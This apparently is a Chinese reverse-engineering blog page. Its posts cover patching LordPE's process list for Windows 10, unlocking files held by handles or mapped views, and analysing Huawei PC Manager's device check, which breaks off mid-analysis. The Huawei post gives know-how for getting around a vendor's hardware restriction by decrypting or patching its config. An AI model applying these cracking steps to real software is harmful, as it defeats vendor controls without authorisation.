Anhkgg'Lab | Windows Kernel | Rootkit | Reverse Engineer | Expolit | 内核研究 | 逆向分析 | 漏洞分析挖掘

LordPE在win10无法工作折腾笔记-死而复生

2021-06-20T02:46:14.000Z

1 2	author: anhkgg date: 2021年6月19日

前情提要

最近在分析某个软件时，提示错误。赶紧挂上windbg看看调用栈，看能不能找到问题。

一看应该能够解决，需要结合IDA静态分析。

通过任务管理器进程转到文件，发现文件已经不存在了，咋办？

还好，进程还在，可以把主程序dump下来，就可以静态分析了。

如何dump呢？简单的可以通过windbg的.writemem把内存写入文件，但是文件不是合法（可运行）的PE，虽然此时文件和内存中数据完全相同（IDA可以将就分析）。

PE文件的文件结构和内存结构是不完全相同的，最重要的原因是文件对齐和内存对齐不同。

所以windbg的.writemem是不支持把内存dump生成合法的PE文件，除非自己再进行文件修复。

此时，不知道有没有人想起来逆向中脱壳，是不是也有类似操作，我这里不是脱壳，但需要做的确和脱壳类似。

所以我想到了LordPE（没用OD），它可以把内存dump之后生成正确的PE文件，然后再ImportREC修复输入表即可。

这活脱脱得就是脱壳啊，哈哈，无所谓啦。

分析

好久不使LordPE，赶紧找出来，运行之后，发现不行。咋回事？该版本不支持枚举高权限进程？不至于啊。

连着换了多个版本，还是不行，LordPE枚举到的进程中没有我的目标进程，而且很多进程名都是[System Process]。

LordPE不至于这么弱吧？！算了，祭出windbg分析一下吧。

windbg启动LordPE，对枚举进程API下断，bp kernel32!ProcessNext，居然没断下来。

WTF？

那断ntdll的API总行了吧，bp ntdll!NtQuerySystemInformation。可以，发现用的是kernel32!EnumProcess。

0:000> kv
 # ChildEBP RetAddr  Args to Child              
00 0019f5e0 200013fc 004a0010 00000400 0019f600 KERNELBASE!K32EnumProcesses (FPO: [Non-Fpo])
01 0019f74c 00405fb6 004a0010 00000400 69970c70 procs!GetProcessIDList+0x13c
02 0019f7a0 6992b4f2 ffffffff 00001003 00000001 LordPE+0x5fb6
03 0019f7c4 69929edb 00040426 00001003 00000001 COMCTL32!FlatSB_SubclassWndProc+0x22 (FPO: [6,0,0])
04 0019f820 fffffffe 0019f874 69929e20 00040426 COMCTL32!CallNextSubclassProc+0x69 (FPO: [Non-Fpo])
05 0019f844 7789c79c 00000000 00559420 00000000 0xfffffffe
06 0019f920 766760bf 00000000 00000000 004911c8 ntdll!RtlDeactivateActivationContextUnsafeFast+0x9c (FPO: [Non-Fpo])

然后发现procs!GetProcessIDList，看名字明显就是获取所有进程PID。

IDA打开procs.dll一看，这个DLL提供了所有进程和模块管理的接口。

可以看到，他根据Is_xxx_200024FC（系统版本）分两类API来获取信息，第二种才是我前面没成功下断的ProcessNext。

这不是重点，上面的枚举代码没什么问题，不过我没怎么用过EnumProcess接口，不确定是否有问题，所以我把Is_xxx_200024FC强制改为0，然后所有接口都通过tlhelp32接口来获取进程和模块信息。

再往上层回溯，进入LordPE，发现神奇的东西。

长度传的0xF0，也就是240 / 4 = 60，也就是说LordPE只能获取60个进程。

1	DWORD dwProcessId[60];

而在win10上，动不动就是上百个进程，所以没有枚举到我要看的目标进程太正常了。

只想吐槽，LordPE作者怎么会写出这样的代码，这就算在xp、win7，进程超过60个也歇菜了。

修改

问题找到了，现在该想想如何修改让LordPE能够正常用起来。

首先想到的是，既然枚举进程不全，我可以自己枚举进程插入到进程列表中。

但需要确认点击某个进程选dump是怎么处理的？

获取到选择的进程行，让后dwProcessId[index]拿到进程PID，然后调用dump函数。

这，index超了60，dwProcessId[index]就不行了啊，这个PID不合法啊。

此路不通。

那把dwProcessId扩大呢？

dwProcessId大小60个，后面马上接着其他变量，连对齐空间都没有。

不可行。

可以看到，引用dwProcessId的位置还不只一个。

更多想法：

dwProcessId通过malloc分配，但得修改所有引用位置的代码，从dwProcessId[index]换成(*dwProcess)[index]
劫持所有procs.dll接口，把参数PID换成我需要dump的进程，同样也需要替换模块地址。
或者重写一个…(额)

觉得都挺麻烦的。

此时，去百度搜索了一下，发现已经有前人做过相关工作了。

LordPE只显示60个进程 fix

他是在PE中找到空白位置，用做新的dwProcessId地址，然后把所有引用dwProcessId的位置换成这个新地址，还挺简单，不过最多只能存256个进程PID，将就可以用了。

然后procs.dll接口也存在问题，居然还有硬编码F0来EnumProcess获取进程（几乎所有接口）。

不过我前面已经修改了Is_xxx_200024FC，所以不会用enumprocess，全部使用的tlhelp32的ProcessNext接口，不会存在这个问题。

所以暂时确定方案：

找到新位置用作dwProcessId，并修改引用位置
修改procs.dll的Is_xxx_200024FC为0

在结尾看到800h的对齐位置。

0x800/4=0x200=512字节，那么可以枚举到512个进程。

把所有dwProcessId换成41EA88，大小F0换成800h。

现在可以正常枚举到进程。

总结

经过一番折腾，目前满足我当前需求，可以正常dump出错的软件，但是LordPE不支持64进程，所有可能某些情况下还是鸡肋。

很少这么手工修改软件，思路还是挺重要的，要不是搜到那篇帖子，我可能就会采用勾上procs.dll的导出接口和dump函数，但随便几点某个进程，选择dump时，会弹出一个我的界面选择真实的目标进程，然后返回调用dump函数，也同样是可以同样的功能。

最后立个flag，有时间还是想写个支持64进程的增强版LordPE。或者我孤陋寡闻，目前已经有类似程序，有知情大佬，请不吝告知。

转载请注明出处：https://anhkgg.github.io/relive-LordPE

欢迎关注技术公众号：汉客儿

深度探索：解除文件占用那些坑

2021-01-14T03:17:27.000Z

author: anhkgg
date: 2021-01-14 11:17:27

了解一点操作系统知识的同学们应该都知道，文件占用无法删除，是因为某些进程正在使用该文件。

要删除这样的文件，就需要让那些进程关闭文件，然后自然可以删除。

一句话的事，那究竟要怎么用代码来实现这个功能呢？

打开和关闭文件

还记得上大学第一门语言课-C语言，迄今为止还依然活跃并被一直使用的语言。

比汇编容易理解，又更接近底层，所以Windows操作系统内核大部分代码都是用C语言来编写的。

在C的课程里，我们学过通过FILE来操作使用文件，比如：

1 2	FILE *fp; fp = fopen("c:\\temp\\test.txt", "r")

通过读的方式打开一个文件，使用非常简单，后续通过fp这个结构体指针操作文件即可。

其实fopen并不接近操作系统，他是对win32 API CreateFile的封装。

也就是前者是标准库接口，在Windows、linux、unix等都是通用接口。

而后者才是和操作系统关联紧密，由微软自己提供的API。

要更好的理解进程如何使用文件的，我们还得看看CreateFile这个API接口。

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

这是msdn对CreateFile的定义，简单来看我们可以只关注lpFileName和返回值，lpFileName传递你要打开的文件，返回值是操作系统给你的一个代表文件的句柄（handle）。

1	HANDLE hFile = CreateFileA("c:\\temp\\test.txt", ...);

要对文件进行读、写等操作都需要这个句柄，也就是说这个句柄至关重要，它表示文件正在被使用。

然后什么时候结束使用呢，我们需要看另一个API CloseHandle.

1
2
3

BOOL CloseHandle(
  HANDLE hObject
);

CloseHandle用于关闭一个正在被使用的文件，通过句柄来关闭。

现在明白过来了吗，只要我们让进程调用CloseHandle这个API，关闭被占用的文件句柄，那么该文件也就被解除占用了。

哈哈，是不是很简单。

枚举占用文件的进程

那么我就想问同学们一个问题，怎么知道哪些进程在使用我们想删除的文件呢？怎么去查找？

带着这个问题，我们继续往下看。

我们来想一个问题，操作系统给调用CreateFile的用户返回了一个句柄，然后通过句柄来操作文件，那操作系统是如何知道句柄代表哪个文件呢？

我们简单思考一下，我们要做到这个目的有没有什么方法，比如我用一个数组来存用户打开的文件路径，而数组序号就返回给用户，下次用户就只需要把序号给我，我就知道要操作什么问题了。

演示代码，忽略细节
LPWSTR FileTable[100] = {0};
HANDLE CreateFileA(
  LPCSTR                lpFileName,
  ...)
  {
      for(int i = 0; i < 100; i ++) {
          if(FileTable[i] == NULL) { //还有空位
              FileTable[i] = lpFileName; //保存路径
              return (HANDLE)i; //返回句柄
          }
      }
      return NULL;
  }
BOOL CloseHandle(
  HANDLE hObject
) {
    if((int)hObject < 100) {
        if(FileTable[hObject]) {
            FileTable[hObject] = NULL;//找到文件路径
            return TRUE;
        }
    }
    return FALSE;
}

上面简单的代码演示了一下我们粗略考略的文件和句柄的关系以及句柄的管理，那操作系统是不是这么做的呢？其实也差不多。

//https://www.cnblogs.com/lsh123/p/8329989.html

任意进程，只要每打开一个对象（包括文件、进程、线程等等），就会获得一个句柄。

这个句柄用来标志对某个对象的一次打开，通过句柄，可以直接找到对应的内核对象。

每个进程都有一个句柄表，用来记录本进程打开的所有内核对象。

句柄表可以简单看做为一个一维数组，每个表项就是一个句柄，一个结构体，一个句柄描述符。

1 2	struct _HANDLE_TABLE_ENTRY //句柄描述符 struct _HANDLE_TABLE //句柄表描述符

好，更加细节的句柄表的原理我们不用再深究，我们只需要知道每个进程都有一个句柄表，通过句柄表就可以找到打开的文件。

这就是我们的目的，我们需要查到进程是不是打开了我们要删除的文件，我们需要查句柄表。

那怎么查呢？

操作系统给用户提供了一个接口ZwQuerySystemInformation。

NTSTATUS WINAPI ZwQuerySystemInformation(
  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  _Inout_   PVOID                    SystemInformation,
  _In_      ULONG                    SystemInformationLength,
  _Out_opt_ PULONG                   ReturnLength
);

它可以获取系统非常多的信息，包括进程、模块、处理器、内存等等各种信息。

而SystemHandleInformation = 16就能获取到系统所有的句柄信息。

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;//所属进程
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue; //句柄
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

既然知道了方法，下面就开始枚举所有句柄，找到我们被占用的文件的进程信息。

Status = ZwQuerySystemInformation(SystemHandleInformation,
            Information,
            Length,
            &ReturnLength);

for (i = 0; i < Information->NumberOfHandles; i++) {
    if (Information->Handles[i].UniqueProcessId != CurrentProcessId) {//不是当前进程
        Status = ZwQueryObject(TargetHandle, ObjectTypeInformation, &TypeInfo, sizeof(TypeInfo), NULL);
        RtlInitUnicodeString(&TargetType, L"File");
        if (!RtlEqualUnicodeString(&TypeInfo.Info.TypeName, &TargetType, FALSE)) {
            goto __next;
        }
        Status = ZwQueryObject(TargetHandle, ObjectNameInformation, &NameInfo, sizeof(NameInfo), NULL);
        if (RtlEqualUnicodeString(&NameInfo.Info.Name, &FileName, FALSE)) {
            printf("在进程(%d)发现文件占用：(%x) %wZ\n",
                    ProcessId,
                    Information->Handles[i].HandleValue,
                    &NameInfo.Info.Name);
        }
    }
}

ZwQuerySystemInformation获取到所有句柄信息，通过循环枚举Information->Handles，找到句柄类型属于File，路径是目标文件的进程。

ZwQueryObject传入ObjectTypeInformation可以获取句柄类型，ZwQueryObject传入ObjectNameInformation可以获取文件路径。

如此两个条件的对比，就能让我们找到占用文件的进程了。

是不是感觉还挺简单，不复杂嘛。

坑一：ZwQueryObject

前面提到，每个进程都有自己的句柄表，所以ZwQuerySystemInformation枚举拿到的句柄并不能直接使用，还需要复制一份到本进程才有效。

系统也提供了API叫做DuplicateHandle:

BOOL DuplicateHandle(
  HANDLE   hSourceProcessHandle,
  HANDLE   hSourceHandle,
  HANDLE   hTargetProcessHandle,
  LPHANDLE lpTargetHandle,
  DWORD    dwDesiredAccess,
  BOOL     bInheritHandle,
  DWORD    dwOptions
);

DuplicateHandle(hSrcProc, Information->Handles[i].HandleValue, hCurProc, TargetHandle, ...);

上面我们使用的TargetHandle就是通过复制获取的。

这个地方并不是坑，而是在通过ZwQueryObject获取句柄对应的文件路径时，会发生阻塞，导致程序卡死无法继续运行。

0: kd> kv
 # ChildEBP RetAddr  Args to Child
00 d7fdb7cc 828aacda 00000000 00000000 a7d73040 nt!KiSwapContext+0x19 (FPO: [Uses EBP] [1,0,4])
01 d7fdb86c 828aa358 d7fdb930 a7d73120 a7d73040 nt!KiSwapThread+0x4aa (FPO: [Non-Fpo])
02 d7fdb8c8 828a9d67 00000000 00000000 00000000 nt!KiCommitThreadWait+0x128 (FPO: [Non-Fpo])
03 d7fdb978 829298a3 8ff18afc 00000000 a7d73300 nt!KeWaitForSingleObject+0x1f7 (FPO: [Non-Fpo])
04 d7fdb9a4 82c0759f 88c0e801 d7fdba18 8ff18ab0 nt!IopWaitForLockAlertable+0x3f (FPO: [Non-Fpo])
05 d7fdb9cc 82d3f75c 88c0e800 a7d733f8 d7fdb9ef nt!IopWaitAndAcquireFileObjectLock+0x41 (FPO: [Non-Fpo])
06 d7fdba1c 82bed31a 000001ee d7fdbb01 9a651dc0 nt!IopQueryXxxInformation+0x150f3e
07 d7fdba9c 82becf65 00000000 007af7a4 00000210 nt!IopQueryNameInternal+0x31a (FPO: [Non-Fpo])
08 d7fdbab8 82bece25 8ff18ab0 87ff2400 007af7a4 nt!IopQueryName+0x1b (FPO: [Non-Fpo])
09 d7fdbb40 82bec6a6 00000210 d7fdbc04 d7fdbb01 nt!ObQueryNameStringMode+0x495 (FPO: [Non-Fpo])
0a d7fdbbf8 829cce6b 8ff18ab0 00000000 007af7a4 nt!NtQueryObject+0x186 (FPO: [SEH])
0b d7fdbbf8 77cd5ef0 8ff18ab0 00000000 007af7a4 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ d7fdbc14)

经过一些简单的分析，如果文件被是同步（SYNCHRONIZE）打开的，内核会等待一下锁，等其他线程操作完成，本线程才能拿到所有权。

//
    // Make a special check here to determine whether this is a synchronous
    // I/O operation.  If it is, then wait here until the file is owned by
    // the current thread.  If this is not a (serialized) synchronous I/O
    // operation, then initialize the local event.
    //

    if (FileObject->Flags & FO_SYNCHRONOUS_IO) {

        BOOLEAN interrupted;

        if (!IopAcquireFastLock( FileObject )) {
            status = IopAcquireFileObjectLock( FileObject,
                                               Mode,
                                               (BOOLEAN) ((FileObject->Flags & FO_ALERTABLE_IO) != 0),
                                               &interrupted );
            if (interrupted) {
                ObDereferenceObject( FileObject );
                return status;
            }
        }
        KeClearEvent( &FileObject->Event );
        synchronousIo = TRUE;
    }

所以这里我们就需要通过线程和超时的方式来调用ZwQueryObject，让程序可以不阻塞正常运行。

void
QueryThread(
    IN PQUERY_CONTEXT Context
) {
    Status = ZwQueryObject(TargetHandle, ObjectNameInformation, &NameInfo, sizeof(NameInfo), NULL);
}

ThreadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)QueryThread, Context, 0, NULL);
Result = WaitForSingleObject(ThreadHandle, 1000); //等待1秒超时，线程退出
TerminateThread(ThreadHandle, 0);
CloseHandle(ThreadHandle);

坑二：文件Map

解决上面的问题之后，我们基本就解决了文件占用的问题，大部分情况下，我们可以正常删除文件了。

可是…

某些时候，我们要删除的文件并不是普通文件，可能是一个DLL、或者其他特殊文件。

关闭所有占用的句柄后，依然无法删除文件，还是提示占用。

这可怎么办？

类似于DLL这种文件，进程在使用中，操作系统会映射一份内存到进程空间，此时并没有句柄与之对应。

但是它却关联了文件的内核对象，专业术语说增加了一次文件对象的引用。

我们要知道，为了能够安全删除一个文件，操作系统需要保证该文件的内核对象在两种引用计数上清零。

一个是句柄引用计数，一个是对象引用计数。

前面我们通过枚举句柄，将句柄引用计数清零。

但是因为共享内存的原因，对象引用计数仍未清零，所以无法删除文件。

0: kd> !handle 48

PROCESS fffffa801b7c6060
    SessionId: 1  Cid: 0b70    Peb: 7efdf000  ParentCid: 0588
    DirBase: 1bfea000  ObjectTable: fffff8a0029f27e0  HandleCount: 157.
    Image: procexp.exe

Handle table at fffff8a0029f27e0 with 157 entries in use

0004: Object: fffffa801bdcca10  GrantedAccess: 00000003 Entry: fffff8a0020cc010
Object: fffffa801bdcca10  Type: (fffffa8018dcfa30) File
    ObjectHeader: fffffa801bdcc9e0 (new version)
        HandleCount: 0//句柄引用计数  PointerCount: 1 //对象引用计数

我们通过!vad俩看看内存map。

0: kd> !vad fffffa8019d34e00
VAD           Level     Start       End Commit
fffffa8019d34e00  0      1000      12ce      0 Mapped       READONLY           \Windows\Globalization\Sorting\SortDefault.nls

0: kd> dt _mmvad fffffa8019d34e00
nt!_MMVAD
   +0x000 u1               : 
   +0x008 LeftChild        : (null) 
   +0x010 RightChild       : (null) 
   +0x018 StartingVpn      : 0x1000
   +0x020 EndingVpn        : 0x12ce
   +0x028 u                : 
   +0x030 PushLock         : _EX_PUSH_LOCK
   +0x038 u5               : 
   +0x040 u2               : 
   +0x048 Subsection       : 0xfffffa80`1b56ef90 _SUBSECTION
   +0x048 MappedSubsection : 0xfffffa80`1b56ef90 _MSUBSECTION
   +0x050 FirstPrototypePte : 0xfffff8a0`00b02000 _MMPTE
   +0x058 LastContiguousPte : 0xfffff8a0`00b03670 _MMPTE
   +0x060 ViewLinks        : _LIST_ENTRY [ 0xfffffa80`18ec81c0 - 0xfffffa80`18fcd190 ]
   +0x070 VadsProcess      : 0xfffffa80`1b7c6061 _EPROCESS
0: kd> dt 0xfffffa80`1b56ef90 _SUBSECTION
nt!_SUBSECTION
   +0x000 ControlArea      : 0xfffffa80`1b56ef10 _CONTROL_AREA
   +0x008 SubsectionBase   : 0xfffff8a0`00b02000 _MMPTE
   +0x010 NextSubsection   : 0xfffffa80`193a0a60 _SUBSECTION
   +0x018 PtesInSubsection : 0x2cf
   +0x020 UnusedPtes       : 0
   +0x020 GlobalPerSessionHead : (null) 
   +0x028 u                : 
   +0x02c StartingSector   : 0
   +0x030 NumberOfFullSectors : 0x2cf
0: kd> dt 0xfffffa80`1b56ef10 _CONTROL_AREA
nt!_CONTROL_AREA
   +0x000 Segment          : 0xfffff8a0`03b31fd0 _SEGMENT
   +0x008 DereferenceList  : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x018 NumberOfSectionReferences : 0
   +0x020 NumberOfPfnReferences : 0x101
   +0x028 NumberOfMappedViews : 0x2a
   +0x030 NumberOfUserReferences : 0x2a
   +0x038 u                : 
   +0x03c FlushInProgressCount : 0
   +0x040 FilePointer      : _EX_FAST_REF
   +0x048 ControlAreaLock  : 0n0
   +0x04c ModifiedWriteCount : 0
   +0x04c StartingFrame    : 0
   +0x050 WaitList         : (null) 
   +0x058 u2               : 
   +0x068 LockedPages      : 1
   +0x070 ViewList         : _LIST_ENTRY [ 0xfffffa80`1be91570 - 0xfffffa80`1abbe690 ]
0: kd> dx -id 0,0,fffffa801b7c6060 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xfffffa801b56ef50))
(*((ntkrnlmp!_EX_FAST_REF *)0xfffffa801b56ef50))                 [Type: _EX_FAST_REF]
    [+0x000] Object           : 0xfffffa801b61fa14 [Type: void *]
    [+0x000 ( 3: 0)] RefCnt           : 0x4 [Type: unsigned __int64]
    [+0x000] Value            : 0xfffffa801b61fa14 [Type: unsigned __int64]
0: kd> !object 0xfffffa801b61fa10
Object: fffffa801b61fa10  Type: (fffffa8018dcfa30) File
    ObjectHeader: fffffa801b61f9e0 (new version)
    HandleCount: 0  PointerCount: 5
    Directory Object: 00000000  Name: \Windows\Globalization\Sorting\SortDefault.nls {HarddiskVolume2}

0: kd> dt _file_object 0xfffffa801b61fa10
nt!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xfffffa80`19e9d530 _DEVICE_OBJECT
   +0x010 Vpb              : 0xfffffa80`19eca270 _VPB
   +0x018 FsContext        : 0xfffff8a0`00ad0140 Void
   +0x020 FsContext2       : 0xfffff8a0`00ad0330 Void
   +0x028 SectionObjectPointer : 0xfffffa80`1b61f808 _SECTION_OBJECT_POINTERS
0: kd> dx -id 0,0,fffffa801b7c6060 -r1 ((ntkrnlmp!_SECTION_OBJECT_POINTERS *)0xfffffa801b61f808)
((ntkrnlmp!_SECTION_OBJECT_POINTERS *)0xfffffa801b61f808)                 : 0xfffffa801b61f808 [Type: _SECTION_OBJECT_POINTERS *]
    [+0x000] DataSectionObject : 0xfffffa801b56ef10 [Type: void *] //其实就是前面的_mmvad->Subsection->ControlArea
    [+0x008] SharedCacheMap   : 0x0 [Type: void *]
    [+0x010] ImageSectionObject : 0x0 [Type: void *]

SortDefault.nls是被映射到了进程中，通过_mmvad->Subsection->ControlArea->FilePointer我们可以一步步定位到它引用的文件对象。

!object 0xfffffa801b61fa10看到确实是该文件，也可以通过fileobject->SectionObjectPointer->DataSectionObject找到对应的映射内存。

如此我们初步理解了文件map导致文件占用无法删除文件的原理。

下面我们就需要找到方法怎么解决这个问题。

首先，需要枚举进程的虚拟内存，找到是否有我们需要查找的文件的map，然后对该进程有两种操作：

非常暴力但是简单的方法，那就是直接关闭进程
或者unmap这块内存，解除对象引用计数（经过测试，未成功，待深入研究，也请大佬指教）

如何枚举虚拟内存呢，使用ZwQueryVirtualMemory).

NTSTATUS ZwQueryVirtualMemory(
  _In_      HANDLE                   ProcessHandle,
  _In_opt_  PVOID                    BaseAddress,
  _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,
  _Out_     PVOID                    MemoryInformation,
  _In_      SIZE_T                   MemoryInformationLength,
  _Out_opt_ PSIZE_T                  ReturnLength
);

//MemoryBasicInformation
typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  ULONG  AllocationProtect;
  USHORT PartitionId;
  SIZE_T RegionSize;
  ULONG  State;
  ULONG  Protect;
  ULONG  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

Type
The type of pages in the region. The following types are defined.
MEM_IMAGE 0x1000000 Indicates that the memory pages within the region are mapped into the view of an image section.
MEM_MAPPED 0x40000 Indicates that the memory pages within the region are mapped into the view of a section.
MEM_PRIVATE 0x20000 Indicates that the memory pages within the region are private (that is, not shared by other processes).

从0地址开始，每次加一个页，获取内存信息，如果内存的type是MEM_IMAGE或者MEM_MAPPED，那么就是文件map，然后获取虚拟内存对应名字，判断是不是目标文件。

for (;;) {
    Status = ZwQueryVirtualMemory(ProcessHandle, BaseAddress, MemoryBasicInformation,
        &MemoryInfo, sizeof(MemoryInfo), NULL);
    if (MemoryInfo.Type == MEM_IMAGE ||  //image
        MemoryInfo.Type == MEM_MAPPED) { //data
            Status = ZwQueryVirtualMemory(ProcessHandle, BaseAddress, MemoryMappedFilenameInformation, &Name, sizeof(Name), NULL);
            if (RtlEqualUnicodeString(&Name.u, &TargetName, TRUE)) {
                //找到目标文件
                break;
            }
        }
    }
}

找到目标进程后，关闭进程，轻松删除文件。

代码都在环3完成。工具在此：FileLock

（完）

转载请注明出处：https://anhkgg.github.io/unlockfile

欢迎关注技术公众号：汉客儿

华为电脑管家PcManager多屏协同功能破解

2019-11-06T04:45:18.000Z

author: anhkgg
date: 2019年11月6日

让友商电脑兼容了一下华为系专属的多屏协同功能

笔者注：文中出现的大写C，请轻声念出北京大爷的口头禅。

华为刚发布多屏协同功能的时候，我就被种草了。

后来一天在微博看到@Navis-MDT发布的一个体验视频，果然碉堡了。

华为多频协同体验视频

瞬间有点想从“米boy”转为“花粉”用户，这…当然是不可能的了。

翻看微博回复，看到华为手机副总裁@李小龙Bruce_Lee也转发了该视频，并回复网友“为啥不面向非华为电脑”说：“不是故意不做其他品牌的电脑，是电脑上WIFI/蓝牙硬件和驱动太乱了，我们没精力搞定兼容性问题。大神们想破解我们也不会拦着。”

对啊，怎么忘了自己也是“大神”啊（羞涩~~）。

既然主人家都不反对，那我帮他们兼容一下，脑子开始发热，迅速准备搞一搞。

是的，脑子非常热，导致前期资讯准备不足，后面踩了很多坑。

下面且听我一一道来。

1

视频中提到华为电脑中需要使用“电脑管家”（视频中没看清界面），然后手机扫描连接即可。

听到“电脑管家”第一反应就是华为多屏协同怎么还跟腾讯合作？懵逼，腾讯NB。

后来一想不对，应该是华为自己的软件“电脑管家”，类似于小米笔记本上的“小米游戏盒子”之类的软件。

没有华为电脑，先去搜搜看是否能下载到软件。

果然有，华为官网很友好的给出了操作提示，果然是为客户着想的好公司。

版本挺多，下一个最新的。然后我选择了9.1.6.33,因为我看到日期是2019-11-01。（请仔细看图，并记住这里）

2

OK，软件下回来了，接着就开始干正事了。

习惯性地把软件拉入了虚拟机运行，结果双击后没反应，以为是鼠标出问题或者虚拟机太卡，连续试了好几次依然没反应。

一瞬间，脑子里翻江倒海，难道华为加了反虚拟机、反调试、反…C

直接上windbg吧，一运行，直接退出，才发现是乌龙。

因为这两天在测试DLL劫持，留了个DLL在桌面，华为的“电脑管家”很不幸中枪了，被劫持，然后直接退出。（划重点）

删掉DLL，终于有了反应，但是…提示只支持64位系统，而我用的是Win7 x86…C

换呗，还能咋办，切到Win7 x64虚拟机，问题又来了。

好吧，我错了，我直接本机win10安装吧，一分钟不到，终于装好了。

但是从下载到装好时间已经过去了30分钟，都是自己作的。

3

点击立即体验，看看界面长啥样。

结果又退出了，退出了…出了…了

咋回事？难道是直接验证到不是华为电脑，直接退出？

继续windbg启动软件，看到如下信息：

Util!HttpUtil::OnDebug+0x13f8:
00007fff`0aa7a2c8 cc              int     3
0:000> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 00000042`558fed10 00007fff`0aa78d2f : 00000219`596f44a0 00000042`558ff339 00000042`558ff2f4 00000042`558ff2f4 : Util!HttpUtil::OnDebug+0x13f8
01 00000042`558fee30 00007fff`0ab05616 : 00000042`558fefe0 00000219`596f44a0 00007fff`0aa60000 00000219`59660000 : Util!mba::util::UrlsManager::ParseXml+0x63f
02 00000042`558fee70 00007fff`0ab04879 : 00000000`00000006 00000000`00000006 00000042`558ff2f4 00000042`558ff339 : Util!CWMI::GetOutPutUIntByString+0x3bb6
03 00000042`558ff1b0 00007fff`0ab04af2 : 00000000`00000000 00000000`00000000 00000042`558ff3c0 00000000`00000000 : Util!CWMI::GetOutPutUIntByString+0x2e19
04 00000042`558ff2d0 00007fff`0aaf53df : 00000000`00000000 7fffffff`ffffffff 00000000`00000000 00000000`00000000 : Util!CWMI::GetOutPutUIntByString+0x3092
05 00000042`558ff3a0 00007ff6`fa838ff3 : 7fffffff`ffffffff 00000000`00000000 7fffffff`ffffffff 00000000`00000000 : Util!SMBIOSHelper::IsSupportDevice+0x1f
06 00000042`558ff400 00007ff6`fa852223 : 00000000`00000000 00000000`0000000a 00000000`00000000 00000000`00000000 : PCManager!SMBIOSHelper::operator=+0xa93
07 00000042`558ffc20 00007fff`4f6f7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : PCManager!Compression::Compression+0x3b93
08 00000042`558ffc60 00007fff`5150ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
09 00000042`558ffc90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

0:000> g
ntdll!NtTerminateProcess+0x14:
00007fff`5153c644 c3              ret

咋还出现int3了呢，难道这里就是检查是不是华为电脑的位置。

使用IDA开始粗略分析，进入int3的位置。一处异常，看不出什么东西。

往上回溯两层，看到很重要的信息SystemEnvironment::GetSupportMachineList，确实很像是检查的地方。

对sub_180018D00下断，查看参数。发现第三个参数指向一个xml配置文件路径，看名字很明显是表示支持的机器类型列表。

0:000> db 000001f0`587329b0 
000001f0`587329c0  5c bb aa ce aa 5c 50 43-4d 61 6e 61 67 65 72 5f  \....\PCManager_
000001f0`587329d0  53 65 74 75 70 5f 39 2e-31 2e 36 2e 33 33 5c 48  Setup_9.1.6.33\H
000001f0`587329e0  75 61 77 65 69 5c 50 43-4d 61 6e 61 67 65 72 5c  uawei\PCManager\
000001f0`587329f0  5c 63 6f 6e 66 69 67 5c-4d 61 63 68 69 6e 65 54  \config\MachineT
000001f0`58732a00  79 70 65 4c 69 73 74 2e-78 6d 6c 00 ee fe ee ab  ypeList.xml.....

打开一看，加密了。

那看看附近代码，应该是先解密，可以把数据dump出来。

通过IDA翻看了一下后面的函数，看到另一个特征rapidxml::parse_error::vftable`，这是用了rapidxml开源库来解析xml文档。

把rapidxml的源码下回来，通过对比（一些log字符特征）来确认函数的功能。

基本弄清楚xml解密到解析的过程，对sub_180014EA0下断，查看参数。果然拿到解密后的xml文件。

0:000> dq 000000315e6feb48
00000031`5e6feb48  000001ec`051970b0 00000000`00000000
0:000> db 000001ec`051970b0
000001ec`051970b0  3c 3f 78 6d 6c 20 76 65-72 73 69 6f 6e 3d 22 31  
000001ec`051970c0  2e 30 22 20 65 6e 63 6f-64 69 6e 67 3d 22 55 54  .0" encoding="UT
000001ec`051970d0  46 2d 38 22 3f 3e 20 0d-0a 3c 6d 61 63 68 69 6e  F-8"?> ..
000001ec`051970e0  65 54 79 70 65 6c 69 73-74 3e 20 0d 0a 09 3c 6d  eTypelist> ...

xml数据长这样。

看到这里，其实已经有一个思路了，就是把自己电脑的品牌加入xml文件，重新加密回去，就能够就能够使用华为电脑管家了。

不过分析解密、拿品牌信息、加密等挺麻烦的，再看看还有方法吗？

比如直接patch比较品牌的函数，绕过检查。

继续分析，一堆xml的node的解析比较，因为华为在编译rapidxml时基本都是内联函数，导致跟源码结构并不是很一致，增加了分析难度。

经过一段数据的比较，还没有找到绕过的点。

我停了下来，看了看调用栈。

0:000> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 00000031`5e6fea20 00007fff`11184879 : 00000000`00000006 00000000`00000006 00000031`5e6feea4 00000031`5e6feee9 : Util!CWMI::GetOutPutUIntByString+0x4075
